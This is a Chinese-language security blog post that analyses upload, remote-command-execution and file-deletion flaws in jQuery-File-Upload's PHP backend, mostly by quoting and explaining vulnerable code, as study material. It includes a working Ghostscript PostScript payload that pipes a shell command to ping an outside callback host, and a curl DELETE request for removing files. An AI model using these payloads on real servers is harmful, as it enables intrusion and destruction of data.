jQuery-File-Upload任意上传/RCE/越权删除文件漏洞(学习)

前言:看了先知的https://xz.aliyun.com/t/3819文章之后,自己想试着分析下!

任意文件上传漏洞影响的版本:

jQuery-File-Upload版本 < v9.22.1 and Apache > 2.3.9(默认不再支持.htaccess) or others

产生漏洞的代码:

protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
            $index = null, $content_range = null) {
        $file = new stdClass();
        $file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
            $index, $content_range);
        $file->size = $this->fix_integer_overflow((int)$size);
        $file->type = $type;
        if ($this->validate($uploaded_file, $file, $error, $index)) {
            $this->handle_form_data($file, $index);
            $upload_dir = $this->get_upload_path();
            if (!is_dir($upload_dir)) {
                mkdir($upload_dir, $this->options['mkdir_mode'], true);
            }
            $file_path = $this->get_upload_path($file->name);
            $append_file = $content_range && is_file($file_path) &&
                $file->size > $this->get_file_size($file_path);
            if ($uploaded_file && is_uploaded_file($uploaded_file)) {
                // multipart/formdata uploads (POST method uploads)
                if ($append_file) {
                    file_put_contents(
                        $file_path,
                        fopen($uploaded_file, 'r'),
                        FILE_APPEND
                    );
                } else {
                    move_uploaded_file($uploaded_file, $file_path);  // 进行上传操作
                }
            } else {
                // Non-multipart uploads (PUT method support)
                file_put_contents(
                    $file_path,
                    fopen($this->options['input_stream'], 'r'),
                    $append_file ? FILE_APPEND : 0
                );
            }
            $file_size = $this->get_file_size($file_path, $append_file);
            if ($file_size === $file->size) {
                $file->url = $this->get_download_url($file->name);
                if ($this->is_valid_image_file($file_path)) {
                    $this->handle_image_file($file_path, $file);
                }
            } else {
                $file->size = $file_size;
                if (!$content_range && $this->options['discard_aborted_uploads']) {
                    unlink($file_path);
                    $file->error = $this->get_error_message('abort');
                }
            }
            $this->set_additional_file_properties($file);
        }
        return $file;
    }

一共经过如下四个步骤

主要看就是post函数和handle_file_upload函数

post函数中主要就是将上传的文件用$_FILE超全局变量来进行接收,然后把数组中相关参数放入到handle_file_upload里面进行处理

这里stdClass类,可以理解为节省资源,这里用来作为一个存储上传文件相关数据来使用的

get_file_name进行了取文件名的后缀

进行验证操作

重点来了,可以发现默认的正则是/.+$/i,不对大小写敏感,并且任意匹配一个或多个字符,所以可以直接绕过

        if (!preg_match($this->options['accept_file_types'], $file->name)) {
            $file->error = $this->get_error_message('accept_file_types');
            return false;
        }

来到这里,这里虽然有进行图片后缀名的正则匹配,但是不会进行相应的措施

然后就进行了上传文件move_uploaded_file

            if ($uploaded_file && is_uploaded_file($uploaded_file)) { //2222
                    // multipart/formdata uploads (POST method uploads)
                    if ($append_file) {
                        file_put_contents(
                            $file_path,
                            fopen($uploaded_file, 'r'),
                            FILE_APPEND
                        );
                    } else {
                        move_uploaded_file($uploaded_file, $file_path);
                    }
                } else {
                    // Non-multipart uploads (PUT method support)
                    file_put_contents(
                        $file_path,
                        fopen($this->options['input_stream'], 'r'),
                        $append_file ? FILE_APPEND : 0
                    );
            }

修复建议:可以在正则的地方进行修改匹配,也可以在验证是否是图片的时候进行return


远程命令执行漏洞:

jQuery-File-Upload版本 < v9.22.1,自己也只测试过9.22.0

get_image_size函数如下代码:

protected function get_image_size($file_path) {
        if ($this->options['image_library']) {
            if (extension_loaded('imagick')) {
                $image = new Imagick();
                try {
                    if (@$image->pingImage($file_path)) {
                        $dimensions = array($image->getImageWidth(), $image->getImageHeight());
                        $image->destroy();
                        return $dimensions;
                    }
                    return false;
                } catch (Exception $e) {
                    error_log($e->getMessage());
                }
            }
            if ($this->options['image_library'] === 2) {
                $cmd = $this->options['identify_bin'];
                $cmd .= ' -ping '.escapeshellarg($file_path);
                exec($cmd, $output, $error);
                if (!$error && !empty($output)) {
                    // image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000
                    $infos = preg_split('/s+/', substr($output[0], strlen($file_path)));
                    $dimensions = preg_split('/x/', $infos[2]);
                    return $dimensions;
                }
                return false;
            }
        }
        if (!function_exists('getimagesize')) {
            error_log('Function not found: getimagesize');
            return false;
        }
        return @getimagesize($file_path);
    }

可以看下调用的地方

validate中如下位置

具体的imagic如何触发的远程代码执行我也不清楚,以后懂的话再填充上!

利用poc(如果没有收到,记得考虑下是否是内网存在不出网的可能性):

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping magic.0wtpsg.ceye.io) currentdevice putdeviceprops

文件越权删除漏洞

漏洞影响版本:自己测试了最新版本也存在~

可以看下,下面的代码中$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); ,这里面如果我们的$file_path能够进行控制的话,那么就能够进行越权进行文件的删除了

    public function delete($print_response = true) {
        $file_names = $this->get_file_names_params();
        //var_dump($file_names);
        if (empty($file_names)) {  //返回为空,走下面流程
            $file_names = array($this->get_file_name_param()); //$file_names 里面存放着$_GET['file']接收的内容

        }
        $response = array();
        foreach ($file_names as $file_name) {
            $file_path = $this->get_upload_path($file_name); //取当前文件的路径
            $success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); //判断当前文件是否为文件
            // 并且判断文件名是否以 点 开头,例如.htaccess
            if ($success) {
                var_dump($this->options['image_versions']);
                foreach ($this->options['image_versions'] as $version => $options) {
                    if (!empty($version)) {
                        $file = $this->get_upload_path($file_name, $version);
                        if (is_file($file)) {
                            unlink($file);
                        }
                    }
                }
            }
            $response[$file_name] = $success;
        }
        return $this->generate_response($response, $print_response);
    }

payload:curl -X DELETE "http://127.0.0.1/server/php/index.php?file=文件名

很遗憾这里的文件名不能可控,只能是当前的文件进行越权删除来利用,原因是get_file_names_params函数中调用的get_file_name_param函数中的$this->basename(stripslashes($this->get_query_param($name))),对输入的文件名进行了过滤操作,导致路径不可控

    protected function get_file_name_param() {
        $name = $this->get_singular_param_name();
        return $this->basename(stripslashes($this->get_query_param($name)));
    }
原文地址:https://www.cnblogs.com/zpchcbd/p/12233604.html